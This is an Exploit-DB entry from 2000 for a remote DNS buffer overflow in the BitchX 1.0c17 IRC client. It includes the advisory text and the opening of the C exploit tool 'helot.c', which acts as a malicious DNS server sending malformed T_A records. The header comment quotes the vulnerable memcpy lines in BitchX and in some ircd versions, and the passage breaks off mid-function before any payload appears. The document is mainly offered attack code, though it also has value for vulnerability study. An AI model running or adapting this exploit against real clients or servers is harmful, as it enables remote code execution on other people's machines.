Exploit-DB #20490
Description: BitchX IRC Client 1.0 c17 - DNS Buffer Overflow
Type: remote
Platform: unix
Date: 2000-12-04
Author: nimrood

Exploit:
// source: https://www.securityfocus.com/bid/2087/info

BitchX is a popular Internet Relay Chat client, written by Colten Edwards. A problem exists which could potentially allow a user to access restricted resources.

The problem occurs in the DNS resolution code. A buffer overflow within the resolver code makes it possible to overwrite stack variables by generating a malformed DNS packet. This problem makes it possible creates a situation where a malicious user may be able to execute code remotely with the UID and GID of the BitchX client. It is necessary for an attacker to control their own DNS to exploit this bug. 

/*
 * helot.c - bitchx/ircd DNS overflow demonstration
 * w00w00 Security Development (WSD)
 * 12.04.2000 nimrood (nimrood@onebox.com)
 *
 * this same code i used to exploit an ircd DNS spoofing bug
 * from early '99. re-usable code is great.
 * this program is fun to play with if you're messing with DNS.
 * the packet builder is MakeDNSPkt(). this tool compiles on my
 * linux systems with no problems.
 *
 * 	Greetings :: #!w00w00, caddis, dmess0r, nocarrier, nyt,
 *                   superluck, jobe, awr, metabolis, sq, bb0y
 *
 * ----------------------------------
 * problem 1: --> generic ircd
 * current and older irc servers suffer from a common bug.
 * a pointer is not updated correctly when handling unsupported
 * RR types (eg: T_NULL). this makes the server think
 * it received a malformed packet when trying to process the next RR.
 * it's not a really serious bug, but it allows for a neat trick:
 *
 * you can embed any RR type in an unsupported RR (eg: T_NULL). these
 * embedded RR's are not checked for errors or dropped by nameservers...
 * 
 * problem 2: --> bitchx all versions, remote code excecution
 * bitchx appears to use code from older irc servers to perform dns
 * lookups. this old code suffers from a bcopy/memcpy overflow while
 * processing T_A RR's. The T_A RR data length is used in a subsequent
 * memcpy without bounds checking. the overflowed variable stores an
 * IP address, only 4 bytes long. this is similar to the I_QUERY BIND
 * overflow. bitchx dns also suffers from problem 1.
 *
 * from bitchx-1.0c17, ./source/misc.c : ar_procanswer()
 * line 2639:
 *           dlen =  (int)_getshort(cp);
 *           cp += sizeof(short);
 *           rptr->re_type = type;
 * 
 *           switch(type)
 *           {
 *           case T_A :
 *                   rptr->re_he.h_length = dlen;
 *                   if (ans == 1)
 *                           rptr->re_he.h_addrtype=(class == C_IN) ? AF_INET : AF_UNSPEC;
 *                   memcpy(&dr, cp, dlen);
 *
 * problem 3: --> comstud ircd, remote code execution
 * funny enough, while working on the bitchx overflow, i accidentally
 * connected a client using the wrong IP to a comstud ircd...it died.
 * i found comstud-1.x releases are not vulnerable. 
 * i suspect other ircd server varients will be vulnerable. i would
 * recommend upgrading to a comstud-1.x release. hybrid-ircd team fixed
 * this bug a while back with the release of hybrid-5.3p3.
 *
 * from irc2.8.21+CSr31pl2, ./source/res.c : proc_answer()
 * line 548:
 *          dlen =  (int)_getshort((u_char *)cp);
 * line 565:
 *          switch(type)
 *          {
 *          case T_A :
 *                  hp->h_length = dlen;
 *                  if (ans == 1)
 *                          hp->h_addrtype =  (class == C_IN) ? AF_INET : AF_UNSPEC;
 *                  bcopy(cp, (char *)&dr, dlen);
 *
 * there are no bad guys... just disturbed guys.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <signal.h>
#include <netinet/in.h>
#include <arpa/nameser.h>
#include <arpa/inet.h>

/* for whatever reason, these may need to be defined */
#ifndef u_char
#define u_char unsigned char
#endif
#ifndef u_short
#define u_short unsigned short
#endif
#ifndef u_long
#define u_long unsigned long
#endif

#define DNS_PORT 53

extern int optind, optopt;
extern char *optarg;

/* used for converting query type integer to respective string */
struct qtype_list
{
	int type;
	char *name;
};
const struct qtype_list qtypelist[] =
{
	{T_A,		"A"},
	{T_NS,		"NS"},
	{T_CNAME,	"CNAME"},
	{T_SOA,		"SOA"},
	{T_PTR,		"PTR"},
	{T_HINFO,	"HINFO"},
	{T_MX,		"MX"},
	{T_ANY,		"ANY"},
	{T_NULL,	"NULL"},
	{T_WKS,		"WKS"},
	{0,		"(unknown)"}
};

void CatchSigInt(int sig)
{
	signal(SIGINT, SIG_DFL);
}

void Usage(char *prog)
{
	fprintf(stderr, "\
usage: %s [-k pid] [-t ttl] [-b ip] ip hostname\n\
  ip           ip address to answer reverse lookups for\n\
  hostname     hostname to be mapped to ip, and answer forward lookups\n\
  -k           kill this process before binding dns port\n\
  -t           cache time-to-live (seconds) for this answer (default: 900)\n\
  -b           bind the nameserver to this address (default, all addresses)\n",
	prog);
	exit(1);
}

char *ip2InAddrStr(u_long ip)
{
	static char *str;
	u_char *byte;

	if(!str) 
	{
		if((str=malloc(MAXLABEL)) == NULL)
			return(str);
	}

	/* IP should be in network order to generate a proper in-addr */	
	byte = (u_char *)&ip;
	sprintf(str, "%d.%d.%d.%d.IN-ADDR.ARPA.", byte[3], byte[2], byte[1],
		byte[0]);

	return(str);
}

u_short ExpandDName(char *comp, char *dest, u_short len)
{
        char *cp, *cp2;
        u_short num;

        cp = comp; cp2 = dest;
        if(strchr(cp, '.') && strlen(cp) < len)
        {
                strcpy(cp2, cp);
                if(*(cp2 + strlen(cp2)) != '.')
                        strcat(cp2, ".");
                return(strlen(cp2));
        }

        while((*cp) && (cp))
        {
                num = (u_char)*cp;
                if(num + (cp2 - dest) > len)
                        break;
                memcpy(cp2